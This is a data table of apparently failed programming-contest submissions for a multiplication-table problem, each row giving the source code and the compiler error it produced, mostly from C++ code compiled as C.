submission_id
stringlengths
10
10
problem_id
stringlengths
6
6
language
stringclasses
3 values
code
stringlengths
1
522k
compiler_output
stringlengths
43
10.2k
s000899239
p00000
C
#include<stdio.h> int main(){ int a,b,c; for(a=1;a<=9;a++) for(b=1;b<=9;b++ { c=a*b; printf("%d*%d=%d\n",a,b,c); } return 0; }
main.c: In function 'main': main.c:6:23: error: expected ')' before '{' token 6 | for(b=1;b<=9;b++ | ~ ^ | ) 7 | { | ~ main.c:12:1: error: expected expression before '}' token 12 | } | ^
s051508042
p00000
C
#include<stdio.h> int main(){ int i; for(i=1;i<=9;i++) printf("%d*%d=%d\n",i,i,i*i); return 0; } ~
main.c:10:1: error: expected identifier or '(' before '~' token 10 | ~ | ^
s591887837
p00000
C
#include <iostream> #include <algorithm> #include <cstdio> #include <cstring> #include <cmath> #include <cstdlib> #include <vector> #include <string> #include <map> using namespace std; const int maxn = 1000010; const int maxk = 26; char s1[maxn], s2[maxn]; int con[maxk], pre[maxn]; int rev[maxk]; inline bool equal(char a, char b) { if (islower(a) && islower(b)) return true; return a == b; } bool check(int p1, int l) { memset(con, -1, sizeof(con)); memset(rev, -1, sizeof(rev)); for (int c = 0; c < l; ++c) { if (islower(s2[l-c-1])) { if (!islower(s1[p1 - c])) return false; int u = s2[l- c - 1] - 'a'; int v = s1[p1 - c] - 'a'; if (con[u] == v && rev[v] == u); else if (con[u] == -1 && rev[v] == -1) { con[u] = v, rev[v] = u; } else { return false; } } } return true; } void solved(int nT) { scanf("%s %s", s1, s2); int l2 = strlen(s2); int k = pre[0] = -1; for (int i = 1; i < l2; ++i) { while (k != -1 && !equal(s2[k + 1], s2[i])) k = pre[k]; if (equal(s2[k + 1], s2[i])) ++k; pre[i] = k; } int l1 = strlen(s1); k = -1; int cnt = 0; for (int i = 0; i < l1; ++i) { while (k != -1 && !equal(s2[k + 1], s1[i])) k = pre[k]; if (equal(s2[k + 1], s1[i])) ++k; if (k == l2 - 1) { if (check(i, l2)) ++cnt; k = pre[k]; } } printf("Case %d: %d\n", nT, cnt); } int main() { int T = 1; scanf ("%d", &T); for (int nT = 1; nT <= T; nT++) { solved(nT); } return 0; }
main.c:1:10: fatal error: iostream: No such file or directory 1 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s914773361
p00000
C
/* * P.cpp * * Created on: Dec 2, 2012 * Author: carber */ #include <iostream> #include <algorithm> #include <cstdio> #include <cstring> #include <cmath> #include <cstdlib> #include <vector> #include <string> #include <map> #include <queue> using namespace std; int mpp[16][16], use[16][1<<15], n, dis[16][1<<15]; vector<int> vec[16]; struct node { int l, st, v; node() {} node (int _v, int _st, int _l) : v(_v), st(_st), l(_l) {} bool friend operator < (const node &a, const node &b) { return a.l > b.l; } }; node pre[16][1<<15], uu; queue<node> qu; void pus(int v, int st, int l) { if (use[v][st]) return ; dis[v][st] = l; use[v][st] = 1; pre[v][st] = uu; qu.push(node(v, st, l)); } int how(int x) { int ans = -1; while (x) { ans ++; x >>= 1; } return ans; } void find(int s, int st, int t) { int ss = s, stt = st; memset(use, 0, sizeof(use)); while (!qu.empty()) qu.pop(); pus(s, st, 0); while (!qu.empty()) { uu = qu.front(); qu.pop(); int l = uu.l; //if (uu.v == t) break; st = uu.st; for (int i = 0; i < n; ++i) { if (i == uu.v || (1<<i & st)) { for (int j = 0; j < vec[i].size(); ++j) { int v = vec[i][j]; if (v == uu.v || (1<<v & st)) continue; if (i == uu.v) pus(v, st, l + 1); else pus(uu.v, st ^ 1<<i ^ 1<<v, l + 1); } } } } int ans = 1000000000; st = -1; for (int i = 0; i < 1<<n; ++i) { if (!use[t][i]) continue; if (ans > dis[t][i]) { ans = dis[t][i]; st = i; } } if (st == -1) { printf("-1\n"); return ; } printf("%d\n", ans); vector<pair<int, int> > res; while (t != ss || st != stt) { int tt = st, tv = t; t = pre[tv][tt].v; st = pre[tv][tt].st; if (tv != t) res.push_back(make_pair(t, tv)); else { int ss = st & tt; res.push_back(make_pair(how(st ^ ss), how(tt ^ ss))); } //t = tv, st = tt; } for (int i = res.size() - 1; i >= 0; --i) printf("%d %d\n", res[i].first + 1, res[i].second + 1); } void solve(int cs) { //if (cs - 1) puts(""); int m, s, t, st = 0; memset(mpp, 0, sizeof(mpp)); scanf("%d%d%d%d", &n, &m, &s, &t); s--, t--; for (int i = 0; i < m; ++i) { int a; scanf("%d", &a); a--; st |= 1<<a; } for (int i = 0; i < n; ++i) vec[i].clear(); for (int i = 1; i < n; ++i) { int a, b; scanf("%d%d", &a, &b); a--, b--; vec[a].push_back(b); vec[b].push_back(a); } printf("Case %d: ", cs); find(s, st, t); } int main() { int T; scanf("%d", &T); for (int cs = 1; cs <= T; ++cs) solve(cs); return 0; }
main.c:8:10: fatal error: iostream: No such file or directory 8 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s970037813
p00000
C
/* * Y.cpp * * Created on: Oct 25, 2012 * Author: carber */ #include <iostream> #include <algorithm> #include <cstdio> #include <cstring> #include <cstdlib> #include <cmath> using namespace std; typedef pair<int, int> PII; #define mp make_pair #include <queue> const int V = 17; const int E = V << 1; int head[V], cur[E], nxt[E], ne; int step[V][1 << V], pre[V][1<<V], cv[V][1<<V]; int n, m, s, t, tot; void init(int n) { ne = 0, memset(head, -1, sizeof(head)); } inline void addEdge(int u, int v) { cur[ne] = v, nxt[ne] = head[u], head[u] = ne++; } queue<int> Q; inline void push(int stone, int state, int ps, int l, int u, int v) { if (step[stone][state] != -1) return; step[stone][state] = l; cv[stone][state] = u * n + v; pre[stone][state] = ps; Q.push(stone * tot + state); } int bfs(int cs) { while (!Q.empty()) Q.pop(); tot = 1 << n; for (int i = 0; i < n; ++i) { for (int j = 0; j < tot; ++j) { step[i][j] = -1; } } step[s][cs] = 0; Q.push(s * tot + cs); while (!Q.empty()) { int ps = Q.front(); int stone = Q.front() / tot, state = Q.front() % tot; Q.pop(); if (stone == t) { return stone * tot + state; } for (int u = 0; u < n; ++u) { if (!(state & (1 << u))) continue; for (int i = head[u]; i != -1; i = nxt[i]) { int v = cur[i]; if (state & (1 << v)) continue; int ns = (state ^ (1 << u)) ^ (1 << v); if (stone == u) { push(v, ns, ps, step[stone][state] + 1, u, v); } else { push(stone, ns, ps, step[stone][state] + 1, u, v); } } } } return -1; } void solved(int nT) { scanf("%d %d %d %d", &n, &m, &s, &t); --s, --t; int ns = 1 << s, c; for (int i = 0; i < m; ++i) { scanf("%d", &c); --c; ns |= 1 << c; } init(n); for (int i = 1; i < n; ++i) { int u, v; scanf("%d %d", &u, &v); --u, --v; addEdge(u, v); addEdge(v, u); } printf("Case %d: ", nT); int result = bfs(ns); if (result == -1) { puts("-1"); } else { printf("%d\n", step[result/tot][result%tot]); vector<PII> ret; while (result != ns) { int stone = result / tot, state = result % tot; ret.push_back(mp(cv[stone][state] / n, cv[stone][state] % n)); result = pre[stone][state]; } reverse(ret.begin(), ret.end()); for (int i = 0; i < (int)ret.size(); ++i) { printf("%d %d\n", ret[i].first + 1, ret[i].second + 1); } } puts(""); } int main() { int T = 1; scanf("%d", &T); for (int nT = 1; nT <= T; ++nT) { solved(nT); } return 0; }
main.c:8:10: fatal error: iostream: No such file or directory 8 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s743542149
p00000
C
#include <cstdio> #include <iostream> #include <cstring> #include <cstdlib> #include <cmath> #include <algorithm> #include <vector> #include <string> using namespace std; typedef pair<double, double> PDD; const double eps = 1e-8; double val(PDD a) { return sqrt(a.first * a.first + a.second * a.second); } int main() { double x1, x2, y1, y2, vax, vay, vbx, vby, ra, rb, ma, mb; double t; scanf ("%lf %lf %lf %lf %lf %lf", &x1, &y1, &vax, &vay, &ra, &ma); scanf ("%lf %lf %lf %lf %lf %lf", &x2, &y2, &vbx, &vby, &rb, &mb); scanf ("%lf", &t); double tx = x2 - x1; double ty = y2 - y1; double tvx = vbx - vax; double tvy = vby - vay; double A = tvx * tvx + tvy * tvy; double B = 2 * tx * tvx + 2 * ty * tvy; double C = tx * tx + ty * ty - (ra + rb) * (ra + rb); double deta = B * B - 4 * A * C; if (deta < -eps) { printf ("%.3lf %.3lf %.3lf %.3lf\n", x1 + t * vax + eps, y1 + t * vay + eps, x2 + t * vbx + eps, y2 + t * vby + eps); return 0; } double ans1 = (-B + sqrt(deta)) / (2 * A); double ans2 = (-B - sqrt(deta)) / (2 * A); double ans; if ((ans1 < -eps || ans1 > t + eps) && (ans2 < -eps || ans2 > t + eps)) { printf ("%.3lf %.3lf %.3lf %.3lf\n", x1 + t * vax + eps, y1 + t * vay + eps, x2 + t * vbx + eps, y2 + t * vby + eps); return 0; } else if (ans1 < -eps || ans1 > t + eps) ans = ans2; else if (ans2 < -eps || ans2 > t + eps) ans = ans1; else ans = min(ans1, ans2); printf ("%lf\n", ans); x1 = x1 + vax * ans; x2 = x2 + vbx * ans; y1 = y1 + vay * ans; y2 = y2 + vby * ans; if (fabs(val(va)) < eps) { } PDD AB = make_pair(x2 - x1, y2 - y1); PDD BA = make_pair(x1 - x2, y1 - y2); PDD va = make_pair(vax, vay); PDD vb = make_pair(vbx, vby); double cosa = (va.first * AB.first + va.second * AB.second) / (val(va) * val(AB)); double cosb = (vb.first * BA.first + vb.second * BA.second) / (val(vb) * val(BA)); PDD v1 = make_pair(AB.first * (val(va) * cosa / val(AB)), AB.second * (val(va) * cosa / val(AB))); PDD v2 = make_pair(BA.first * (val(vb) * cosb / val(BA)), BA.second * (val(vb) * cosb / val(BA))); PDD v3 = make_pair(vb.first - v2.first, vb.second - v2.second); PDD v4 = make_pair(va.first - v1.first, va.second - v1.second); PDD vva = make_pair(v1.first + v3.first, v1.second + v3.second); PDD vvb = make_pair(v2.first + v4.first, v2.second + v4.second); t -= ans; printf ("%.3lf %.3lf %.3lf %.3lf\n", x1 + vva.first * t + 1e-8, y1 + vva.second * t + 1e-8, x2 + vvb.first * t + 1e-8, y2 + vvb.second * t + 1e-8); return 0; } /* 0 1 1 0 2 1 5 0 0 0 2 1 5 */
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s983315408
p00000
C
#include<iostream> #include<cstdio> #include<cstring> #include<cmath> #include<algorithm> using namespace std; const double eps=1e-6; double c[100][100],p[100],s[100]; void init() { memset(c,0,sizeof(c)); c[0][0]=1; for (int i=1; i<=50; i++) { c[i][0]=1; for (int j=1; j<=i; j++) c[i][j]=c[i-1][j]+c[i-1][j-1]; } } double cc(int i,int j) { if (i<j) return 0; else return c[i][j]; } double cal(int n,int i,int l1,int l2,int l) { return cc(i,l1)*cc(n-i,l2)/cc(n,l); } int main() { int n,l1,l2,q,i,j; scanf("%d%d%d%d",&n,&l1,&l2,&q); init(); int l=l1+l2; double pb=0; for (i=0; i<=n; i++) { p[i]=cal(n,i,l1,l2,l); pb+=p[i]/(n+1); cout<<i<<' '<<p[i]<<endl; } for (i=0; i<=n; i++) p[i]=p[i]/pb/(n+1); s[0]=p[0]; for (i=1; i<=n; i++) s[i]=s[i-1]+p[i]; int flag=0,ans1,ans2; for (i=0; i<=n; i++) for (j=i; j<=n; j++) if (s[j]-s[i]+p[i]>(double)q/100-eps) { if (flag=0) {flag=1; ans1=i; ans2=j;} else if (j-i<ans2-ans1 || i<ans1) {ans1=i; ans2=j;} } cout<<ans1<<' '<<ans2<<endl; } /*50 1 24 100 0 0 1 0.5 2 0.510204 3 0.382653 4 0.249674 5 0.149262 6 0.0835866 7 0.0443262 8 0.022384 9 0.0107923 10 0.00497206 11 0.00218771 12 0.000917919 13 0.000366362 14 0.000138624 15 4.95084e-05 16 1.65971e-05 17 5.1866e-06 18 1.49773e-06 19 3.95235e-07 20 9.39439e-08 21 1.97282e-08 22 3.56339e-09 23 5.32194e-10 24 6.17037e-11 25 4.94421e-12 26 2.05679e-13 27 0 28 0 29 0 30 0 31 0 32 0 33 0 34 0 35 0 36 0 37 0 38 0 39 0 40 0 41 0 42 0 43 0 44 0 45 0 46 0 47 0 48 0 49 0 50 0 1 18 */
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s335670407
p00000
C
void f(int *a, int *b){ if(&a + 1 == &b) return; if(&a + 2 == &b) while(1); *a = 1 / 0; } int main(void){ f(); return 0; }
main.c: In function 'f': main.c:4:16: warning: division by zero [-Wdiv-by-zero] 4 | *a = 1 / 0; | ^ main.c: In function 'main': main.c:8:9: error: too few arguments to function 'f' 8 | f(); | ^ main.c:1:6: note: declared here 1 | void f(int *a, int *b){ | ^
s655707200
p00000
C
#include <stdio.h> #include <iostream> using namespace std; int main() { int i,j,temp; for (i=1;i<10;i++) { for (j=1;j<10;j++) { temp=i * j; printf("%dx%d=%d\n",i,j,temp); } } system ("pause"); return 0; }
main.c:2:10: fatal error: iostream: No such file or directory 2 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s148039696
p00000
C
#include<iostream> using namespace std; int main(){ int i,j; for(i = 1;i <= 9;i++ ) for(j = 1; j <= i; j++) cout<<j<<"*"<<i<<"="<<i*j<<endl; return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s996237857
p00000
C
http://d.pr/f/9luv "QAAQAQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
main.c:1:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before ':' token 1 | http://d.pr/f/9luv | ^
s224587158
p00000
C
#include<stdio.h> int main(void){ int printf(1x1=1,1x2=2,..9x8=72,9x9=81) return 0; }
main.c: In function 'main': main.c:4:20: error: invalid suffix "x1" on integer constant 4 | int printf(1x1=1,1x2=2,..9x8=72,9x9=81) | ^~~ main.c:4:20: error: expected declaration specifiers or '...' before numeric constant main.c:4:26: error: invalid suffix "x2" on integer constant 4 | int printf(1x1=1,1x2=2,..9x8=72,9x9=81) | ^~~ main.c:4:26: error: expected declaration specifiers or '...' before numeric constant main.c:4:32: error: expected declaration specifiers or '...' before '.' token 4 | int printf(1x1=1,1x2=2,..9x8=72,9x9=81) | ^ main.c:4:33: error: invalid suffix "x8" on floating constant 4 | int printf(1x1=1,1x2=2,..9x8=72,9x9=81) | ^~~~ main.c:4:41: error: invalid suffix "x9" on integer constant 4 | int printf(1x1=1,1x2=2,..9x8=72,9x9=81) | ^~~ main.c:4:41: error: expected declaration specifiers or '...' before numeric constant
s055403947
p00000
C
#include<stdio.h> int main(){ int i,j,x; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { x=i*j; printf("%dx%d=%d",i,j,x); } return 0; }
main.c: In function 'main': main.c:14:1: error: expected declaration or statement at end of input 14 | } | ^
s112630494
p00000
C
#include <functional> #include <algorithm> #include <stdexcept> #include <iostream> #include <sstream> #include <fstream> #include <numeric> #include <iomanip> #include <cstdlib> #include <cstring> #include <utility> #include <cctype> #include <vector> #include <string> #include <bitset> #include <queue> #include <stdio.h> #include <stack> #include <ctime> #include <list> #include <map> #include <set> #include <assert.h> #define REP(i,n) for(int i=0;i<n;i++) #define TR(i,x) for(typeof(x.begin()) i=x.begin();i!=x.end();i++) #define ALL(x) x.begin(),x.end() #define SORT(x) sort(ALL(x)) #define CLEAR(x) memset(x,0,sizeof(x)) #define FILL(x,c) memset(x,c,sizeof(x)) using namespace std; const double eps = 1e-8; #define PB push_back #define MP make_pair typedef map<int,int> MII; typedef map<string,int> MSI; typedef vector<int> VI; typedef vector<string> VS; typedef vector<long double> VD; typedef pair<int,int> PII; typedef long long int64; typedef long long ll; typedef unsigned int UI; typedef long double LD; typedef unsigned long long ULL; const int V = 55; int a[V]; int p; int n; double solve(int absent) { int base = 0; vector< vector<double> > f(n+1, vector<double>(2*V, 0.0)); vector< vector<double> > g(n+1, vector<double>(2*V, 0.0)); f[0][0] = 1.0; REP(i, n) if (i != absent) { ++base; for (int j = 0; j < base; ++j) for (int sum = 0; sum <= p; ++sum) if (f[j][sum] > 0.0) { g[j+1][sum + a[i]] += f[j][sum] * (double)(j+1) / base; g[j][sum] += f[j][sum] * (1.0 - (double)j / base); } f = g; REP(j, n+1) REP(k, 2*V) g[j][k] = 0.0; } double exp = 0.0; REP(j, n) { for (int sum = p-a[absent]+1; sum <= p; ++sum) exp += f[j][sum] * (double)(j+1) / n; } return exp; } int main() { cin >> n; REP(i, n) scanf("%d",&a[i]); cin >> p; double exp = 0.0; REP(i, n) { exp += solve(i); } printf("%.5f\n",exp); }
main.c:1:10: fatal error: functional: No such file or directory 1 | #include <functional> | ^~~~~~~~~~~~ compilation terminated.
s418325240
p00000
C
#include <cstdio> int main(){ for(int i=1;i<10;i++){ for(int j=1;j<10;j++){ printf("%dx%d=%d\n",i,j,i*j); } } return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s682362043
p00000
C
#include<iostream> #include<cstring> using namespace std; int pow[15],num[15]; int f[15][15][15][3]; int dfs(int l,int pre,int k,int flag,int e) { if(l==-1) return (k==0)&&flag; if(!e && f[l][pre][k][flag]!=-1)return f[l][pre][k][flag]; int u=(e?num[l]:9),res=0; for(int i=0;i<=u;i++) res+=dfs(l-1,i,(pow[l]*i+k)%13,flag||(pre==1 && i==3),e&&i==u); return e?res:f[l][pre][k][flag]=res; } int solve(int x) { int l=0; memset(f,-1,sizeof(f)); while(x!=0) { num[l++]=x%10; x=x/10; } return dfs(l-1,0,0,0,1); } int main() { int x=1; for(int i=0;i<=9;i++) { pow[i]=x; x=x*10; } int n; while(cin>>n) { cout<<solve(n)<<endl; } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s790372747
p00000
C
#include "stdio.h" int main() {int i j,s; for(i=1;i<=9;i++) {for(j=1;j<=9;j++) {s=i*j; printf("%d*%d=*d",i,j,s);} } return 0; }
main.c: In function 'main': main.c:3:8: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'j' 3 | {int i j,s; | ^ main.c:3:8: error: 'j' undeclared (first use in this function) main.c:3:8: note: each undeclared identifier is reported only once for each function it appears in main.c:3:10: error: 's' undeclared (first use in this function) 3 | {int i j,s; | ^ main.c:4:5: error: 'i' undeclared (first use in this function) 4 | for(i=1;i<=9;i++) | ^
s126319423
p00000
C
#include<iostream> #include<algorithm> #include<cstdio> #include<cstring> #include<vector> #include<map> #include<set> using namespace std; const int maxn = 10010; int first[maxn], ma1[maxn], ma2[maxn], dist[maxn], cnt, n, du[maxn]; struct Arc{ int v, a, b, next; }arc[maxn * 2]; void add(int u,int v, int a, int b) { arc[cnt].v = v; arc[cnt].a = a; arc[cnt].b = b; arc[cnt].next = first[u]; first[u] = cnt++; } void dfs1(int fa,int u) { for(int i = first[u]; i + 1; i = arc[i].next) { int v = arc[i].v; if(v == fa) continue; dfs1(u, v); int tmp = arc[i].a + ma1[v]; if(tmp > ma1[u]) ma2[u] = ma1[u], ma1[u] = tmp; else if(tmp > ma2[u]) ma2[u] = tmp; } } void dfs2(int fa, int u,int fadist) { dist[u] = max(fadist, ma1[u]); for(int i = first[u]; i + 1; i = arc[i].next) { int v = arc[i].v; if(v == fa) continue; if(ma1[u] == arc[i].a + ma1[v]) dfs2(u, v, max(fadist, ma2[u]) + arc[i].a); else dfs2(u, v, max(fadist, ma1[u]) + arc[i].a); } } char flag; int high; void dfs(int fa,int u) { if(du[u] == 1) flag = 0; for(int i = first[u]; flag && (i + 1); i = arc[i].next) { int v = arc[i].v; if(v == fa) continue; if(arc[i].b <= high) continue; dfs(u, v); } } char check(int u, int mid) { flag = 1; high = mid; dfs(0, u); return flag; } int main() { while(scanf("%d", &n) == 1) { for(int i = 0; i <= n; i++) { first[i] = -1; du[i] = 0; ma1[i] = ma2[i] = dist[i] = 0; } cnt = 0; for(int i = 1; i < n; i++) { int u, v, a, b; scanf("%d%d%d%d", &u, &v, &a, &b); du[u]++; du[v]++; add(u, v, a, b); add(v, u, a, b); } dfs1(0, 1); dfs2(0, 1, 0); int u = 1; for(int i = 1; i <= n; i++) if(dist[i] < dist[u]) u = i; int l = 0, r = 100000010; while(l <= r) { int mid = (l + r)>>1; if(check(u, mid)) r = mid - 1; else l = mid + 1; } printf("%d\n", r + 1); } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s941264731
p00000
C
#include<iostream> void main() { printf("1x1=1\n"); printf("1x2=2\n"); printf(".\n"); printf(".\n"); printf("9x8=72\n"); printf("9x9=81\n"); }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s910705088
p00000
C
#include<iostream> void main() { printf("1*1=1\n"); printf("1*2=2\n"); printf(".\n"); printf(".\n"); printf("9*8=72\n"); printf("9*9=81\n"); }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s630690560
p00000
C
#include <iostream> #include <math.h> using namespace std; int main() { for( int i=1;i<=9;i++) { for(int j=1;j<=10;j++) { cout << i << "*" << j << "="<<i*j <<endl; } } return 0; }
main.c:1:10: fatal error: iostream: No such file or directory 1 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s801079926
p00000
C
int main(){ int i,j; for (i=1;i<=9;++i) for (j=1;j<=9;++j) printf("%dx%d=%d\n",i,j,i*j) return 0; }
main.c: In function 'main': main.c:5:20: error: implicit declaration of function 'printf' [-Wimplicit-function-declaration] 5 | for (j=1;j<=9;++j) printf("%dx%d=%d\n",i,j,i*j) | ^~~~~~ main.c:1:1: note: include '<stdio.h>' or provide a declaration of 'printf' +++ |+#include <stdio.h> 1 | int main(){ main.c:5:20: warning: incompatible implicit declaration of built-in function 'printf' [-Wbuiltin-declaration-mismatch] 5 | for (j=1;j<=9;++j) printf("%dx%d=%d\n",i,j,i*j) | ^~~~~~ main.c:5:20: note: include '<stdio.h>' or provide a declaration of 'printf' main.c:5:48: error: expected ';' before 'return' 5 | for (j=1;j<=9;++j) printf("%dx%d=%d\n",i,j,i*j) | ^ | ; 6 | return 0; | ~~~~~~
s411761926
p00000
C
#include<iostream> #include<cstdio> using namespace std; #define MAXN 100100 #define MAXT 100100 int f[MAXN]; int last[MAXN]; int n, t, tn; struct node{ int type; int a, b; } work[MAXT]; int query(int loc){ if(f[loc] == loc) return loc; int fat = f[loc]; int ret = query(f[loc]); if(last[loc]<tn) f[loc] = f[fat]; return ret; } bool ask(int loc, int fat){ if(loc == fat) return false; int _fat = f[loc]; bool ret = ask(f[loc], fat); if(last[loc]<tn) f[loc] = f[_fat]; if(ret == false) return false; return true; } int main() { int cnt = 0; while(scanf("%d", &n)!=EOF){ if(cnt)printf("\n"); cnt++; for(int i=0; i<n; i++){ int add; scanf("%d", &add); if(add == 0) f[i+1] = i+1; else f[i+1] = add; } for(int i=1; i<=n; i++) last[i] = 0; scanf("%d", &t); for(int i=1; i<=t; i++){ char add[10]; scanf("%s", add); if(add[0] == 'Q'){ work[i].type = 0; scanf("%d", &work[i].a); } else{ work[i].type = 1; scanf("%d%d", &work[i].a, &work[i].b); last[work[i].a] = i; } } for(tn = 1; tn<=t; tn++){ if(work[tn].type == 0) { printf("%d\n", query(work[tn].a)); } else{ if(work[tn].b!=0) f[work[tn].a] = work[tn].b; else f[work[tn].a] = work[tn].a; // for(int i=1; i<=6; i++) // cout<<f[i]<<' ' } } } }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s094428644
p00000
C
#include <cstdio> #include <cstdlib> #include <cstring> #include <vector> #include <map> #include <algorithm> using namespace std; #define maxn 100005 int n; map <long long int, int> mp1, mp2; vector <long long> a, b; int x, sum; long long index[maxn]; int bs1(long long k,vector<long long> vec) { int l=0,r=vec.size()-1,mid; while(l<r) { mid=(l+r+1)/2; if(vec[mid]<=k) l=mid; else r=mid-1; } while(l>=1&&vec[l]==k) --l; return l; } int bs2(long long k, vector<long long> vec) { int l=0,r=vec.size()-1,mid; while(l<r) { mid=(l+r)/2; if(vec[mid]>=k) r=mid; else l=mid+1; } int s=vec.size(); while(l<s&&vec[l]==k) ++l; return l; } int cal(long long k) { int res=mp1[k]+sum-mp2[k]; res+=bs1(k, a)+1; if (k==7) printf("%d\n",res); int s=b.size(); res+=s-bs2(k, b); if (k==7) printf("%d\n",res); return res; } int main() { scanf("%d", &n); for (int i=1; i<=n; i++) { scanf("%d%I64d", &x, &index[i]); if (x==1) a.push_back(index[i]); else if (x==2) b.push_back(index[i]); else if (x==3) mp1[index[i]]++; else if (x==4) { sum++; mp2[index[i]]++; } } sort(index+1,index+1+n); sort(a.begin(), a.end()); sort(b.begin(), b.end()); int ans=-1; long long num; for (int i=1; i<=n; i++) { int tmp=cal(index[i]); if (tmp>ans) ans=tmp, num=index[i]; tmp=cal(index[i]+1); if (tmp>ans) ans=tmp, num=index[i]+1; } int tmp=cal(1000000000000000001LL); if (tmp>ans) ans=tmp, num=1000000000000000001LL; tmp=cal(0); if (tmp>ans) ans=tmp, num=0; printf("%d %I64d\n", ans, num); return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s184354000
p00000
C
#include<iostream> #include<cstdio> #include<cstring> #include<cmath> #include<algorithm> #include<iostream> using namespace std; #define MP(x, y) make_pair(x, y) #define F first #define S second #define PII pair<int,int> const double eps = 1e-8; int sgn(double x) {return x < -eps ? -1 : x > eps;} struct Point { double x, y; Point(double x=0, double y = 0):x(x), y(y){} }; struct Data { double x, h, b; void input() { scanf("%lf%lf%lf", &x, &h, &b); } }d[110]; int n; PII p[1001010]; int cnt; double det(Point a, Point b, Point c) { double x1 = b.x - a.x, y1 = b.y - a.y; double x2 = c.x - a.x, y2 = c.y - a.y; return x1 * y2 - x2 * y1; } char inter(Point a, Point b, Point c, Point d) { int t1 = sgn(det(a, c, d)) , t2 = sgn(det(b, c, d)); int t3 = sgn(det(c, a, b)) , t4 = sgn(det(d, a, b)); return (t1 * t2 <= 0 && t3 * t4 <= 0 && (t1 || t2 || t3 || t4)); } Point cross(Point a, Point b, Point c, Point d) { int d1, d2, d3, d4; double s1, s2, s3, s4; d1 = sgn(s1 = det(a, b, c)); d2 = sgn(s2 = det(a, b, d)); d3 = sgn(s3 = det(c, d, a)); d4 = sgn(s4 = det(c, d, b)); Point p; if((d1 ^ d2) == -2 && (d3 ^ d4) == -2) { p.x = (c.x * s2 - d.x * s1) / (s2 - s1); p.y = (c.y * s2 - d.y * s1) / (s2 - s1); } else while(1); return p; } double dist(PII a, PII b) { double x = a.F - b.F, y = a.S - b.S; return sqrt(x * x + y * y); } void cal(Point a, Point b, Point c, Point d) { if(!inter(a, b, c, d)) return; Point tp = cross(a, b, c, d); p[cnt++] = MP(tp.x, tp.y); } char check(Point a) { for(int i = 0; i < n; i++) { int x1 = d[i].x, h1 = d[i].h, bb1 = d[i].b; Point a1, b1, c1, a2, b2, c2; a1 = Point(x1 - bb1/2, 0); b1 = Point(x1, h1); c1 = Point(x1 + bb1/2, 0); double t1 = det(a, a1, b1), t2 = det(a, b1, c1), t3 = det(a, c1, a1); double t = fabs(t1 + t2 + t3); if(sgn(t - h1 * bb1) == 0 && sgn(t1) && sgn(t2) && sgn(t3)) return 0; } return 1; } int main() { int cas = 1; while(scanf("%d", &n), n) { for(int i = 0; i < n; i++) d[i].input(); cnt = 0; for(int i = 0; i < n; i++) { int x1 = d[i].x, h1 = d[i].h, bb1 = d[i].b; Point a1, b1, c1, a2, b2, c2; a1 = Point(x1 - bb1/2, 0); b1 = Point(x1, h1); c1 = Point(x1 + bb1/2, 0); p[cnt++] = MP(a1.x, a1.y); p[cnt++] = MP(b1.x, b1.y); p[cnt++] = MP(c1.x, c1.y); for(int j = i + 1; j < n; j++) { int x2 = d[j].x, h2 = d[j].h, bb2 = d[j].b; a2 = Point(x2 - bb2/2, 0); b2 = Point(x2, h2); c2 = Point(x2 + bb2/2, 0); cal(a1, b1, a2, b2); cal(a1, b1, c2, b2); cal(c1, b1, a2, b2); cal(c1, b1, c2, b2); } } int tcnt = 0; for(int i = 0; i < cnt; i++) if(check(Point(p[i].F, p[i].S))) p[tcnt++] = p[i]; cnt = tcnt; sort(p, p + cnt); double ans = 0; for(int i = 1; i < cnt; i++) ans += dist(p[i - 1], p[i]); printf("cnt=%d\n", cnt); printf("Case %d: %.0lf\n\n", cas++, ans); } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s137534551
p00000
C
3 20 30 35 37 24 29 60 20 13 cnt=6 {2.500000 0.000000} {22.500000 0.000000} {37.500000 0.000000} {51.500000 0.000000} {53.500000 0.000000} {66.500000 0.000000}
main.c:1:1: error: expected identifier or '(' before numeric constant 1 | 3 | ^ main.c:7:1: error: expected identifier or '(' before '{' token 7 | {22.500000 0.000000} | ^ main.c:8:1: error: expected identifier or '(' before '{' token 8 | {37.500000 0.000000} | ^ main.c:9:1: error: expected identifier or '(' before '{' token 9 | {51.500000 0.000000} | ^ main.c:10:1: error: expected identifier or '(' before '{' token 10 | {53.500000 0.000000} | ^ main.c:11:1: error: expected identifier or '(' before '{' token 11 | {66.500000 0.000000} | ^
s475085012
p00000
C
